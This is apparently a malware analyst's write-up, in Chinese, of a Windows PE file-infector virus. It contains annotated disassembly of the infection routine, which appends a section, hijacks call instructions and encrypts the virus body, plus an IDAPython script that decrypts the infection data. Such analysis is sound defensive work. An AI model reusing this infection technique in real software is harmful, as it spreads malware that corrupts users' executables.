.text:00402124 sizeof_alloc_address2= dword ptr -20h
.text:00402124 alloc_address2 = dword ptr -1Ch
.text:00402124 filesize = dword ptr -18h
.text:00402124 lase_section_table_end= dword ptr -14h
.text:00402124 filesize_file_aligment= dword ptr -10h
.text:00402124 sizeof_added_section_960a_image_aligment= dword ptr -0Ch
.text:00402124 rva_jia_vsize_of_lastsection_image_aligment= dword ptr -8
.text:00402124 hFile = dword ptr -4
.text:00402124 arg_0_file_to_be_infected= dword ptr 8
.text:00402124 arg_4_patch_call_num= dword ptr 0Ch
.text:00402124
.text:00402124 push ebp
.text:00402125 mov ebp, esp
.text:00402127 add esp, 0FFFFFCF4h
.text:0040212D push esi
.text:0040212E push edi
.text:0040212F push ecx
.text:00402130 push edx
.text:00402131 push ebx
.text:00402132 mov [ebp+is_infected], 0
.text:00402139 mov eax, 0FFFFh
.text:0040213E and [ebp+arg_4_patch_call_num], eax
打开文件判断是否是pe文件
.text:00402141 push 0 ; hTemplateFile
.text:00402143 push 80h ; dwFlagsAndAttributes
.text:00402148 push 3 ; dwCreationDisposition
.text:0040214A push 0 ; lpSecurityAttributes
.text:0040214C push 3 ; dwShareMode
.text:0040214E push 0C0000000h ; dwDesiredAccess
.text:00402153 push [ebp+arg_0_file_to_be_infected] ; lpFileName
.text:00402156 ; nop code
.text:0040215E call CreateFileA
.text:00402164 cmp eax, 0FFFFFFFFh
.text:00402167 jz @fail
.text:0040216D mov [ebp+hFile], eax
.text:00402170 push 0
.text:00402172 push 40h
.text:00402174 lea eax, [ebp+MZHeader]
.text:0040217A push eax
.text:0040217B push [ebp+hFile]
.text:0040217E call Read_fILE ; arg_0_file_handle= dword ptr 8
.text:0040217E ; arg_4_outputbuffer= dword ptr 0Ch
.text:0040217E ; arg_8_read_size = dword ptr 10h
.text:0040217E ; arg_C_read_offset_from_file_begin= dword ptr 14h
.text:00402183 test eax, eax
.text:00402185 jz @closehandle
.text:0040218B cmp word ptr [ebp+MZHeader.MZ_signature], 5A4Dh
.text:00402194 jnz @closehandle
.text:0040219A push [ebp+MZHeader.new_hdr_offset]
.text:004021A0 push 0F8h
.text:004021A5 lea eax, [ebp+PEHEADER]
.text:004021AB push eax
.text:004021AC push [ebp+hFile]
.text:004021AF call Read_fILE ; arg_0_file_handle= dword ptr 8
.text:004021AF ; arg_4_outputbuffer= dword ptr 0Ch
.text:004021AF ; arg_8_read_size = dword ptr 10h
.text:004021AF ; arg_C_read_offset_from_file_begin= dword ptr 14h
.text:004021B4 test eax, eax
.text:004021B6 jz @closehandle
.text:004021BC cmp dword ptr [ebp+PEHEADER.PE_signature], 4550h
.text:004021C6 jnz @closehandle
.text:004021CC xor ecx, ecx
.text:004021CE xor edx, edx
.text:004021D0 mov [ebp+Section.size_in_file], edx
.text:004021D3 mov ebx, [ebp+MZHeader.new_hdr_offset]
.text:004021D9 add ebx, 0F8h
节的数目不能大于0x10
.text:004021DF movzx ecx, [ebp+PEHEADER.number_of_Sections]
.text:004021E6 cmp ecx, 10h
.text:004021E9 ja @closehandle
判断是否已经被感染
.text:004021EF
.text:004021EF @check_infect_or_not: ; CODE XREF: Infect_EXE_dll+19Dj
.text:004021EF test ecx, ecx
.text:004021F1 jz loc_4022C6
.text:004021F7 push ebx
.text:004021F8 push 28h
.text:004021FA lea eax, [ebp+Section]
.text:00402200 push eax
.text:00402201 push [ebp+hFile]
.text:00402204 call Read_fILE ; arg_0_file_handle= dword ptr 8
.text:00402204 ; arg_4_outputbuffer= dword ptr 0Ch
.text:00402204 ; arg_8_read_size = dword ptr 10h
.text:00402204 ; arg_C_read_offset_from_file_begin= dword ptr 14h
.text:00402209 test eax, eax
.text:0040220B jz @closehandle
.text:00402211 test [ebp+Section.flags], 20000000h
.text:0040221B jz short loc_40223E
.text:0040221D cmp [ebp+Section.size_in_file], 0
.text:00402221 jnz short loc_40223E
.text:00402223 mov eax, [ebp+Section.offset_in_file]
.text:00402229 mov [ebp+Section.offset_in_file], eax
.text:0040222C mov eax, [ebp+Section.size_in_file]
.text:00402232 mov [ebp+Section.size_in_file], eax
.text:00402235 mov eax, [ebp+Section.relative_virtual_address]
.text:0040223B mov [ebp+Section.relative_virtual_address], eax
.text:0040223E
.text:0040223E loc_40223E: ; CODE XREF: Infect_EXE_dll+F7j
.text:0040223E ; Infect_EXE_dll+FDj
.text:0040223E push dword ptr [ebp-2F8h]
.text:00402244 push 64h
.text:00402246 lea eax, [ebp+First_0x64_bytes_of_every_section]
.text:0040224C push eax
.text:0040224D push [ebp+hFile]
.text:00402250 call Read_fILE ; arg_0_file_handle= dword ptr 8
.text:00402250 ; arg_4_outputbuffer= dword ptr 0Ch
.text:00402250 ; arg_8_read_size = dword ptr 10h
.text:00402250 ; arg_C_read_offset_from_file_begin= dword ptr 14h
.text:00402255 test eax, eax
.text:00402257 jz @closehandle
.text:0040225D lea edi, [ebp+First_0x64_bytes_of_every_section]
.text:00402263 mov eax, [edi]
.text:00402265 mov esi, 64h
.text:0040226A
.text:0040226A @decrypt_first_0x50_section: ; CODE XREF: Infect_EXE_dll+152j
.text:0040226A test esi, esi
.text:0040226C jz short @check_infection
.text:0040226E xor [edi], eax
.text:00402270 sub esi, 4
.text:00402273 add edi, 4
.text:00402276 jmp short @decrypt_first_0x50_section
.text:00402278 ; ---------------------------------------------------------------------------
.text:00402278
.text:00402278 @check_infection: ; CODE XREF: Infect_EXE_dll+148j
.text:00402278 cmp dword ptr [ebp+First_0x64_bytes_of_every_section+4], 77582588h
.text:00402282 jnz short loc_4022AB
.text:00402284 mov eax, dword ptr [ebp+First_0x64_bytes_of_every_section+8]
.text:0040228A test eax, 10000h
.text:0040228F jnz @already_infected
.text:00402295 and eax, 0FFFFh
.text:0040229A cmp eax, [ebp+arg_4_patch_call_num]
.text:0040229D jge @already_infected
.text:004022A3 mov [ebp+lase_section_table_end], ebx
.text:004022A6 jmp @patched_call_not_enough
.text:004022AB ; ---------------------------------------------------------------------------
.text:004022AB
.text:004022AB loc_4022AB: ; CODE XREF: Infect_EXE_dll+15Ej
.text:004022AB mov eax, [ebp+Section.relative_virtual_address]
.text:004022B1 add eax, [ebp+Section.virtual_size]
.text:004022B7 cmp eax, edx
.text:004022B9 jbe short loc_4022BD
.text:004022BB mov edx, eax
.text:004022BD
.text:004022BD loc_4022BD: ; CODE XREF: Infect_EXE_dll+195j
.text:004022BD add ebx, 28h
.text:004022C0 dec ecx
.text:004022C1 jmp @check_infect_or_not
.text:004022C6 ; ---------------------------------------------------------------------------
.text:004022C6
.text:004022C6 loc_4022C6: ; CODE XREF: Infect_EXE_dll+CDj
.text:004022C6 mov [ebp+rva_jia_vsize_of_lastsection_image_aligment], edx
.text:004022C9 mov [ebp+lase_section_table_end], ebx
.text:004022CC mov eax, [ebp+PEHEADER.entry_point_RVA]
.text:004022D2 mov [ebp+oep], eax
判断头部是否有足够的空间添加一个节表,并且有空间且空间必须全部为00
.text:004022D5 movzx ecx, [ebp+PEHEADER.number_of_Sections]
.text:004022DC mov eax, 28h
.text:004022E1 mul ecx
.text:004022E3 add eax, 0F8h
.text:004022E8 mov edx, [ebp+PEHEADER.size_of_header]
.text:004022EE sub edx, eax
.text:004022F0 cmp edx, 28h
.text:004022F3 jb @closehandle
.text:004022F9 push [ebp+lase_section_table_end]
.text:004022FC push 28h
.text:004022FE lea eax, [ebp+Section]
.text:00402304 push eax
.text:00402305 push [ebp+hFile]
.text:00402308 call Read_fILE ; arg_0_file_handle= dword ptr 8
.text:00402308 ; arg_4_outputbuffer= dword ptr 0Ch
.text:00402308 ; arg_8_read_size = dword ptr 10h
.text:00402308 ; arg_C_read_offset_from_file_begin= dword ptr 14h
.text:0040230D test eax, eax
.text:0040230F jz @closehandle
.text:00402315 lea eax, [ebp+Section]
.text:0040231B mov ecx, 28h
.text:00402320
.text:00402320 @check_: ; CODE XREF: Infect_EXE_dll+20Bj
.text:00402320 test ecx, ecx
.text:00402322 jz short loc_402331
.text:00402324 cmp byte ptr [eax], 0
.text:00402327 jnz @closehandle
.text:0040232D inc eax
.text:0040232E dec ecx
.text:0040232F jmp short @check_
.text:00402331 ; ---------------------------------------------------------------------------
.text:00402331
.text:00402331 loc_402331: ; CODE XREF: Infect_EXE_dll+1FEj
.text:00402331 push 0 ; lpFileSizeHigh
.text:00402333 push [ebp+hFile] ; hFile
.text:00402336 ; nop code
.text:0040233E ; ---------------------------------------------------------------------------
.text:0040233E call GetFileSize
.text:00402344 cmp eax, 0FFFFFFFFh
.text:00402347 jz @closehandle
.text:0040234D mov [ebp+filesize], eax
.text:00402350 xor edx, edx
.text:00402352 mov eax, [ebp+rva_jia_vsize_of_lastsection_image_aligment]
.text:00402355 mov ecx, [ebp+PEHEADER.image_alignment]
.text:0040235B div ecx
.text:0040235D test edx, edx
.text:0040235F jz short loc_402366
.text:00402361 sub ecx, edx
.text:00402363 add [ebp+rva_jia_vsize_of_lastsection_image_aligment], ecx
.text:00402366
.text:00402366 loc_402366: ; CODE XREF: Infect_EXE_dll+23Bj
.text:00402366 xor edx, edx
.text:00402368 mov [ebp+filesize_mod_filealigment], edx
.text:0040236B mov eax, [ebp+filesize]
.text:0040236E mov [ebp+filesize_file_aligment], eax
.text:00402371 mov ecx, [ebp+PEHEADER.file_alignment]
.text:00402377 div ecx
.text:00402379 test edx, edx
.text:0040237B jz short loc_402385
.text:0040237D sub ecx, edx
.text:0040237F mov [ebp+filesize_mod_filealigment], ecx
.text:00402382 add [ebp+filesize_file_aligment], ecx
.text:00402385
.text:00402385 loc_402385: ; CODE XREF: Infect_EXE_dll+257j
.text:00402385 jmp short loc_4023F3
.text:00402387 ; ---------------------------------------------------------------------------
.text:00402387
.text:00402387 @patched_call_not_enough: ; CODE XREF: Infect_EXE_dll+182j
.text:00402387 mov edi, 14h
.text:0040238C
.text:0040238C loc_40238C: ; CODE XREF: Infect_EXE_dll+28Fj
.text:0040238C cmp edi, 54h
.text:0040238F jge short loc_4023B5
.text:00402391 mov ecx, dword ptr ss:[edi+ebp+First_0x64_bytes_of_every_section]
.text:00402399 test ecx, ecx
.text:0040239B jz short loc_4023B5
.text:0040239D push ecx
.text:0040239E push 4
.text:004023A0 lea eax, [edi+ebp+First_0x64_bytes_of_every_section+4]
.text:004023A7 push eax
.text:004023A8 push [ebp+hFile]
.text:004023AB call Write_File ; arg_0_hFile = dword ptr 8
.text:004023AB ; arg_4_inputbuffer= dword ptr 0Ch
.text:004023AB ; arg_8_wriesize = dword ptr 10h
.text:004023AB ; arg_c_offset_to_write_from_file_begin= dword ptr 14h
.text:004023B0 add edi, 8
.text:004023B3 jmp short loc_40238C
.text:004023B5 ; ---------------------------------------------------------------------------
.text:004023B5
.text:004023B5 loc_4023B5: ; CODE XREF: Infect_EXE_dll+26Bj
.text:004023B5 ; Infect_EXE_dll+277j
.text:004023B5 mov eax, dword ptr [ebp+First_0x64_bytes_of_every_section+0Ch]
.text:004023BB mov [ebp+oep], eax
.text:004023BE mov [ebp+PEHEADER.entry_point_RVA], eax
.text:004023C4 mov eax, [ebp+Section.relative_virtual_address]
.text:004023CA mov [ebp+rva_jia_vsize_of_lastsection_image_aligment], eax
.text:004023CD mov eax, [ebp+Section.offset_in_file]
.text:004023D3 mov [ebp+filesize_file_aligment], eax
.text:004023D6 mov [ebp+filesize], eax
.text:004023D9 mov [ebp+filesize_mod_filealigment], 0
.text:004023E0 mov eax, [ebp+Section.virtual_size]
.text:004023E6 sub [ebp+PEHEADER.size_of_image], eax
.text:004023EC dec [ebp+PEHEADER.number_of_Sections]
.text:004023F3
.text:004023F3 loc_4023F3: ; CODE XREF: Infect_EXE_dll:loc_402385j
.text:004023F3 xor eax, eax
.text:004023F5 mov [ebp+counter], eax
.text:004023F8 mov eax, [ebp+Section.size_in_file]
.text:004023FB test eax, eax
.text:004023FD jz @closehandle
.text:00402403 cmp eax, 6400000h
.text:00402408 ja @closehandle
.text:0040240E push eax ; dwBytes
.text:0040240F push 0 ; uFlags
.text:00402411 ; nop code
.text:00402419 ; ---------------------------------------------------------------------------
.text:00402419 call GlobalAlloc
.text:0040241F test eax, eax
.text:00402421 jz @closehandle
.text:00402427 mov [ebp+alloc_address1], eax
.text:0040242A push [ebp+Section.offset_in_file]
.text:0040242D push [ebp+Section.size_in_file]
.text:00402430 push [ebp+alloc_address1]
.text:00402433 push [ebp+hFile]
.text:00402436 call Read_fILE ; arg_0_file_handle= dword ptr 8
.text:00402436 ; arg_4_outputbuffer= dword ptr 0Ch
.text:00402436 ; arg_8_read_size = dword ptr 10h
.text:00402436 ; arg_C_read_offset_from_file_begin= dword ptr 14h
.text:0040243B test eax, eax
.text:0040243D jnz short loc_402455
.text:0040243F push [ebp+alloc_address1] ; hMem
.text:00402442 ; nop code
.text:0040244A ; ---------------------------------------------------------------------------
.text:0040244A call GlobalFree
.text:00402450 jmp @closehandle
.text:00402455 ; ---------------------------------------------------------------------------
.text:00402455
.text:00402455 loc_402455: ; CODE XREF: Infect_EXE_dll+319j
.text:00402455 mov ecx, [ebp+Section.size_in_file]
.text:00402458 mov esi, [ebp+alloc_address1]
.text:0040245B mov [ebp+Section.size_in_file_chuyi_6], 6
.text:00402462 xor edx, edx
.text:00402464 mov eax, ecx
.text:00402466 div [ebp+Section.size_in_file_chuyi_6]
.text:00402469 mov [ebp+Section.size_in_file_chuyi_6], eax
从第一个节的开始搜索call指令,然后判断call指令的目的地址的指令是否是
push reg 或者mov edi,edi 或者sub ebp,xxx
如果满足条件的,则记录下call的相关信息,在下一个块内搜索,否则继续从下一个byte搜索
程序一共搜索了6个call 对有些程序可能不一定能够搜到6个call。
相关结构:
struct patch_call_info
{
+0 dword found_call_dest_address_rva call的目的地址的rva
+4 dword patched_call_fileoffset_jia_1 要patch的call的地址+1的文件偏移 43c
+8 dword patched_call_dword 要patch call的e8后面的dword
+c dword found_call_offset 要patchcall的后面的偏移 0xa33f8
}
.text:0040246C
.text:0040246C @found_patch_call: ; CODE XREF: Infect_EXE_dll+3FBj
.text:0040246C ; Infect_EXE_dll+402j
.text:0040246C cmp ecx, 0Ah
.text:0040246F jbe loc_40252B
.text:00402475 cmp byte ptr [esi], 0E8h
.text:00402478 jnz @not
.text:0040247E mov eax, esi
.text:00402480 sub eax, [ebp+alloc_address1]
.text:00402483 add eax, 5
.text:00402486 mov ebx, eax
.text:00402488 add eax, [esi+1]
.text:0040248B mov edx, [ebp+Section.size_in_file]
.text:0040248E sub edx, 4
.text:00402491 cmp eax, edx
.text:00402493 jnb @not
.text:00402499 add eax, [ebp+alloc_address1]
.text:0040249C mov edx, [eax]
.text:0040249E and edx, 0F8h
.text:004024A4 cmp edx, 50h
.text:004024A7 jz short @found
.text:004024A9 cmp word ptr [eax], 0EC83h
.text:004024AE jz short @found
.text:004024B0 cmp word ptr [eax], 0FF8Bh
.text:004024B4 jnz short @not
.text:004024B6
.text:004024B6 @found: ; CODE XREF: Infect_EXE_dll+383j
.text:004024B6 ; Infect_EXE_dll+38Aj
.text:004024B6 mov edi, [ebp+counter]
.text:004024B9 shl edi, 4
.text:004024BC sub eax, [ebp+alloc_address1]
.text:004024BF add eax, [ebp+Section.relative_virtual_address]
.text:004024C2 mov ss:[edi+ebp+patch_call_info.found_call_dest_address_rva], eax
.text:004024CA mov eax, ebx
.text:004024CC sub eax, 4
.text:004024CF add eax, [ebp+Section.offset_in_file]
.text:004024D2 mov ss:[edi+ebp+patch_call_info.patched_call_fileoffset_jia_1], eax
.text:004024DA mov eax, [ebp+counter]
.text:004024DD mov edx, 0Ah
.text:004024E2 mul edx
.text:004024E4 add eax, [ebp+rva_jia_vsize_of_lastsection_image_aligment]
.text:004024E7 add eax, 5EE3h
.text:004024EC add ebx, [ebp+Section.relative_virtual_address]
.text:004024EF sub eax, ebx
.text:004024F1 mov ss:[edi+ebp+patch_call_info.patched_call_dword], eax
.text:004024F9 mov eax, [esi+1]
.text:004024FC mov ss:[edi+ebp+patch_call_info.found_call_offset], eax
.text:00402504 inc [ebp+counter]
.text:00402507 cmp [ebp+counter], 6
.text:0040250B jz short loc_40252B
.text:0040250D mov eax, [ebp+counter]
.text:00402510 mov edx, [ebp+Section.size_in_file_chuyi_6]
.text:00402513 mul edx
.text:00402515 mov ecx, [ebp+Section.size_in_file]
.text:00402518 sub ecx, eax
.text:0040251A mov esi, [ebp+alloc_address1]
.text:0040251D add esi, eax
.text:0040251F jmp @found_patch_call
.text:00402524 ; ---------------------------------------------------------------------------
.text:00402524
.text:00402524 @not: ; CODE XREF: Infect_EXE_dll+354j
.text:00402524 ; Infect_EXE_dll+36Fj ...
.text:00402524 dec ecx
.text:00402525 inc esi
.text:00402526 jmp @found_patch_call
.text:0040252B ; ---------------------------------------------------------------------------
.text:0040252B
.text:0040252B loc_40252B: ; CODE XREF: Infect_EXE_dll+34Bj
.text:0040252B ; Infect_EXE_dll+3E7j
.text:0040252B push [ebp+alloc_address1] ; hMem
.text:0040252E ; nop code
.text:00402536 ; ---------------------------------------------------------------------------
.text:00402536 call GlobalFree
.text:0040253C cmp [ebp+counter], 0
.text:00402540 jz @closehandle
.text:00402546 xor edx, edx
.text:00402548 mov eax, 960Ah
.text:0040254D mov [ebp+sizeof_added_section_960a_file_aligment], eax
.text:00402550 mov ecx, [ebp+PEHEADER.file_alignment]
.text:00402556 div ecx
.text:00402558 test edx, edx
.text:0040255A jz short loc_402561
.text:0040255C sub ecx, edx
.text:0040255E add [ebp+sizeof_added_section_960a_file_aligment], ecx
.text:00402561
.text:00402561 loc_402561: ; CODE XREF: Infect_EXE_dll+436j
.text:00402561 xor edx, edx
更新pe头
.text:00402563 mov [ebp+sizeof_added_section_960a_image_aligment], 960Ah
.text:0040256A mov eax, [ebp+sizeof_added_section_960a_image_aligment]
.text:0040256D mov ecx, [ebp+PEHEADER.image_alignment]
.text:00402573 div ecx
.text:00402575 test edx, edx
.text:00402577 jz short loc_40257E
.text:00402579 sub ecx, edx
.text:0040257B add [ebp+sizeof_added_section_960a_image_aligment], ecx
.text:0040257E
.text:0040257E loc_40257E: ; CODE XREF: Infect_EXE_dll+453j
.text:0040257E inc [ebp+PEHEADER.number_of_Sections]
.text:00402585 mov [ebp+PEHEADER.bound_import_table_RVA], 0
.text:0040258F mov eax, [ebp+sizeof_added_section_960a_image_aligment]
.text:00402592 add [ebp+PEHEADER.size_of_image], eax
.text:00402598 push [ebp+MZHeader.new_hdr_offset]
.text:0040259E push 0F8h
.text:004025A3 lea eax, [ebp+PEHEADER]
.text:004025A9 push eax
.text:004025AA push [ebp+hFile]
.text:004025AD call Write_File ; arg_0_hFile = dword ptr 8
.text:004025AD ; arg_4_inputbuffer= dword ptr 0Ch
.text:004025AD ; arg_8_wriesize = dword ptr 10h
.text:004025AD ; arg_c_offset_to_write_from_file_begin= dword ptr 14h
跟新添加节的节表
.text:004025B2 mov eax, [ebp+rva_jia_vsize_of_lastsection_image_aligment]
.text:004025B5 mov [ebp+Section.relative_virtual_address], eax
.text:004025BB mov eax, [ebp+filesize_file_aligment]
.text:004025BE mov [ebp+Section.offset_in_file], eax
.text:004025C4 mov eax, [ebp+sizeof_added_section_960a_file_aligment]
.text:004025C7 mov [ebp+Section.size_in_file], eax
.text:004025CD mov eax, [ebp+sizeof_added_section_960a_image_aligment]
.text:004025D0 mov [ebp+Section.virtual_size], eax
.text:004025D6 mov [ebp+Section.flags], 0E00000E0h
.text:004025E0 mov dword ptr [ebp+Section.name], 7273722Eh
.text:004025EA mov dword ptr [ebp+Section.name+4], 63h
.text:004025F4 push [ebp+lase_section_table_end]
.text:004025F7 push 28h
.text:004025F9 lea eax, [ebp+Section]
.text:004025FF push eax
.text:00402600 push [ebp+hFile]
.text:00402603 call Write_File ; arg_0_hFile = dword ptr 8
.text:00402603 ; arg_4_inputbuffer= dword ptr 0Ch
.text:00402603 ; arg_8_wriesize = dword ptr 10h
.text:00402603 ; arg_c_offset_to_write_from_file_begin= dword ptr 14h
.text:00402608 mov ecx, [ebp+counter]
.text:0040260B xor edx, edx
修改第一个节的call的目的地址跳向添加节
.text:0040260D
.text:0040260D @patch_call_to_jmp_added_section: ; CODE XREF: Infect_EXE_dll+50Ej
.text:0040260D test ecx, ecx
.text:0040260F jz short loc_402634
.text:00402611 mov esi, edx
.text:00402613 shl esi, 4
.text:00402616 push ss:[esi+ebp+patch_call_info.patched_call_fileoffset_jia_1]
.text:0040261E push 4
.text:00402620 lea eax, [esi+ebp+patch_call_info.patched_call_dword]
.text:00402627 push eax
.text:00402628 push [ebp+hFile]
.text:0040262B call Write_File ; arg_0_hFile = dword ptr 8
.text:0040262B ; arg_4_inputbuffer= dword ptr 0Ch
.text:0040262B ; arg_8_wriesize = dword ptr 10h
.text:0040262B ; arg_c_offset_to_write_from_file_begin= dword ptr 14h
.text:00402630 dec ecx
.text:00402631 inc edx
.text:00402632 jmp short @patch_call_to_jmp_added_section
.text:00402634 ; ---------------------------------------------------------------------------
.text:00402634
.text:00402634 loc_402634: ; CODE XREF: Infect_EXE_dll+4EBj
.text:00402634 mov eax, [ebp+sizeof_added_section_960a_file_aligment]
.text:00402637 add eax, [ebp+filesize_mod_filealigment]
.text:0040263A mov [ebp+sizeof_alloc_address2], eax
.text:0040263D push eax ; dwBytes
.text:0040263E push 40h ; uFlags
.text:00402640 ; nop code
.text:00402648 ; ---------------------------------------------------------------------------
拷贝病毒体 并记录一些重要信息到添加节的开始处
.text:00402648 call GlobalAlloc
.text:0040264E test eax, eax
.text:00402650 jz @closehandle
.text:00402656 mov [ebp+alloc_address2], eax
.text:00402659 mov ecx, 960Ah
.text:0040265E mov edi, [ebp+alloc_address2]
.text:00402661 add edi, [ebp+filesize_mod_filealigment]
.text:00402664 ; nop code
.text:0040266B mov esi, offset dword_401000
.text:00402670 rep movsb ; 00401000 +filesize_mod_filealigment-> alloc_address2 +filesize_mod_filealigment 0x960a bytes
.text:00402672 mov ebx, [ebp+alloc_address2]
.text:00402675 add ebx, [ebp+filesize_mod_filealigment]
.text:00402678 mov edi, 77582588h
.text:0040267D mov [ebx+4], edi
.text:00402680 mov edi, [ebp+arg_4_patch_call_num]
.text:00402683 mov [ebx+8], edi
.text:00402686 mov eax, [ebp+oep]
.text:00402689 mov [ebx+0Ch], eax
.text:0040268C mov edi, ebx
.text:0040268E add edi, 5EDFh
.text:00402694 mov dword ptr [edi], 0
.text:0040269A xor edx, edx
修改添加节的代码使其跳向原始的代码
.text:0040269C
.text:0040269C @patch_call_in_addedsection_jmp_original_place:
.text:0040269C ; CODE XREF: Infect_EXE_dll+5CCj
.text:0040269C cmp edx, [ebp+counter]
.text:0040269F jz short loc_4026F2
.text:004026A1 mov esi, edx
.text:004026A3 shl esi, 4 ; esi = counter << 4
.text:004026A6 mov ecx, ss:[esi+ebp+patch_call_info.found_call_dest_address_rva]
.text:004026AE mov eax, 0Ah
.text:004026B3 mul dl
.text:004026B5 add eax, 5EE3h
.text:004026BA mov edi, eax
.text:004026BC add edi, 6 ; edi = counter * 0x0a + 5ee3 + 6
.text:004026BF add eax, 0Ah ; eax =(counter +1)* 0xa + 5ee3
.text:004026C2 add eax, [ebp+rva_jia_vsize_of_lastsection_image_aligment]
.text:004026C5 sub ecx, eax
.text:004026C7 add edi, ebx
.text:004026C9 mov [edi], ecx
.text:004026CB mov edi, edx
.text:004026CD shl edi, 3
.text:004026D0 add edi, 14h
.text:004026D3 add edi, ebx
.text:004026D5 mov eax, ss:[esi+ebp+patch_call_info.patched_call_fileoffset_jia_1]
.text:004026DD mov [edi], eax
.text:004026DF mov eax, ss:[esi+ebp+patch_call_info.found_call_offset]
.text:004026E7 mov [edi+4], eax
.text:004026EA xor eax, eax
.text:004026EC mov [edi+8], eax
.text:004026EF inc edx
.text:004026F0 jmp short @patch_call_in_addedsection_jmp_original_place
.text:004026F2 ; nop code
.text:004026FA ; ---------------------------------------------------------------------------
对病毒体进行加密
.text:004026FA call GetTickCount
.text:00402700 mov ebx, [ebp+alloc_address2]
.text:00402703 add ebx, [ebp+filesize_mod_filealigment]
.text:00402706 mov dword ptr [ebx], 0
.text:0040270C mov ecx, 6106h
.text:00402711
.text:00402711 @encrypt: ; CODE XREF: Infect_EXE_dll+60Aj
.text:00402711 cmp ecx, 4
.text:00402714 jb short loc_402730
.text:00402716 cmp ecx, 22Bh
.text:0040271C jnb short loc_402726
.text:0040271E cmp ecx, 192h
.text:00402724 ja short loc_402728
.text:00402726
.text:00402726 loc_402726: ; CODE XREF: Infect_EXE_dll+5F8j
.text:00402726 xor [ebx], eax
.text:00402728
.text:00402728 loc_402728: ; CODE XREF: Infect_EXE_dll+600j
.text:00402728 add ebx, 4
.text:0040272B sub ecx, 4
.text:0040272E jmp short @encrypt
.text:00402730 ; ---------------------------------------------------------------------------
写入最后一个节的数据
.text:00402730
.text:00402730 loc_402730: ; CODE XREF: Infect_EXE_dll+5F0j
.text:00402730 push [ebp+filesize]
.text:00402733 push [ebp+sizeof_alloc_address2]
.text:00402736 push [ebp+alloc_address2]
.text:00402739 push [ebp+hFile]
.text:0040273C call Write_File ; arg_0_hFile = dword ptr 8
.text:0040273C ; arg_4_inputbuffer= dword ptr 0Ch
.text:0040273C ; arg_8_wriesize = dword ptr 10h
.text:0040273C ; arg_c_offset_to_write_from_file_begin= dword ptr 14h
.text:00402741 push [ebp+alloc_address2]
.text:00402744 ; nop code
.text:0040274C ; ---------------------------------------------------------------------------
.text:0040274C call GlobalFree
.text:00402752
.text:00402752 @already_infected: ; CODE XREF: Infect_EXE_dll+16Bj
.text:00402752 ; Infect_EXE_dll+179j
.text:00402752 mov [ebp+is_infected], 1
.text:00402759
.text:00402759 @closehandle: ; CODE XREF: Infect_EXE_dll+61j
.text:00402759 ; Infect_EXE_dll+70j ...
.text:00402759 push [ebp+hFile]
.text:0040275C ; nop code
.text:00402764 ; ---------------------------------------------------------------------------
.text:00402764 call CloseHandle
.text:0040276A
.text:0040276A @fail: ; CODE XREF: Infect_EXE_dll+43j
.text:0040276A mov eax, [ebp+is_infected]
.text:0040276D pop ebx
.text:0040276E pop edx
.text:0040276F pop ecx
.text:00402770 pop edi
.text:00402771 pop esi
.text:00402772 leave
.text:00402773 retn 8
.text:00402773 Infect_EXE_dll endp
一个感染例子
比如:.text:6B2410E1 89 5C 24 04 mov [esp+38h+var_34], ebx
.text:6B2410E5 89 34 24 mov [esp+38h+var_38], esi
.text:6B2410E8 E8 F6 AD 09 00 call Patch_call 被patch的call
.text:6B2410ED 83 EC 0C sub esp, 0Ch
.text:6B2410F0 85 DB test ebx, ebx
目的地址:
.rsrc:6B2DBEE3 Patch_call proc near ; CODE XREF: DllEntryPoint+28p
.rsrc:6B2DBEE3 E8 37 00 00 00 call loc_6B2DBF1F 执行恶意代码
.rsrc:6B2DBEE8 E9 83 03 FD FF jmp sub_6B2AC270 跳回原来的call的目的地址
.rsrc:6B2DBEE8 Patch_call endp
.rsrc:6B2DBEE8
调试程序的时候发现它会抽取call的信息到,添加节的开始处,不过是加密的,解密很简单,加密代码如下:def decrypt_infected(startva = 0x6b2d6000):
eax = Dword(startva)
if eax == 0:
return
counter = 0x6106
while True:
if counter < 4:
break
if (counter > 0x192) and (counter<0x22b):
startva = startva + 4
counter = counter -4
else:
dword_value = Dword(startva)
dword_value = dword_value ^ eax
PatchDword(startva,dword_value)
startva = startva + 4
counter = counter -4
def decrypt_main_exe(startva = 0x401000):
eax = Dword(startva)
#alreay decrypted?
if eax ==0:
return
counter = 0x6106
while True:
if counter < 4:
break
if (counter > 0x13c) and (counter<0x182):
startva = startva + 4
counter = counter -4
else:
dword_value = Dword(startva)
dword_value = dword_value ^ eax
PatchDword(startva,dword_value)
startva = startva + 4
counter = counter -4
def make_dwords(startva):
MakeUnknown(startva,0x14+0x6*0xa,0)
MakeDword(startva)
MakeDword(startva + 4)
MakeDword(startva + 8)
MakeDword(startva + 0xc)
MakeDword(startva + 0x10)
i = 0
curva = startva + 0x14
while Dword(curva) != 0:
#for i in range(6):
str = "patch_call_info_%02x" % i
MakeDword(curva)
MakeDword(curva + 4)
MakeName(curva ,str)
curva = curva + 8
i = i + 1
if i > 6:
break
MakeDword(curva)
MakeName(curva,"end")
if __name__ == "__main__":
print "start to decode"
segs = Segments()
last = 0
for seg in segs:
#print "0x%x" % seg
last = seg
lastSegStart = SegStart(last)
lastSegEnd = SegEnd(last)
#print "lastSegStart %08x,lastSegEnd %08x" % (lastSegStart,lastSegEnd)
decrypt_infected(lastSegStart)
make_dwords(lastSegStart)
print "finishe"
以一个被感染的样本为例, 脚本运行之后病毒添加节开始:
.rsrc:1E1DD000 00 00 00 00 dd 0
.rsrc:1E1DD004 88 25 58 77 dd 77582588h 解密的key
.rsrc:1E1DD008 06 00 00 00 dd 6 patch_call_num的最大值
.rsrc:1E1DD00C A0 59 00 00 dd 59A0h oep rva
.rsrc:1E1DD010 00 00 00 00 dd 0
.rsrc:1E1DD014 6B 11 00 00 patch_call_info_00 dd 116Bh
.rsrc:1E1DD018 31 FF FF FF dd 0FFFFFF31h
.rsrc:1E1DD01C E3 1D 00 00 patch_call_info_01 dd 1DE3h
.rsrc:1E1DD020 79 3A 00 00 dd 3A79h
.rsrc:1E1DD024 AD 2B 00 00 patch_call_info_02 dd 2BADh
.rsrc:1E1DD028 BF F8 FF FF dd 0FFFFF8BFh
.rsrc:1E1DD02C 88 38 00 00 patch_call_info_03 dd 3888h
.rsrc:1E1DD030 D4 1F 00 00 dd 1FD4h
.rsrc:1E1DD034 94 49 00 00 patch_call_info_04 dd 4994h
.rsrc:1E1DD038 88 D3 FF FF dd 0FFFFD388h
.rsrc:1E1DD03C 00 00 00 00 end dd 0
struct patch_call_info
{
+0 dword 修改call的文件偏移+1
+4 dword 原来的call 即e8后面的offset
}
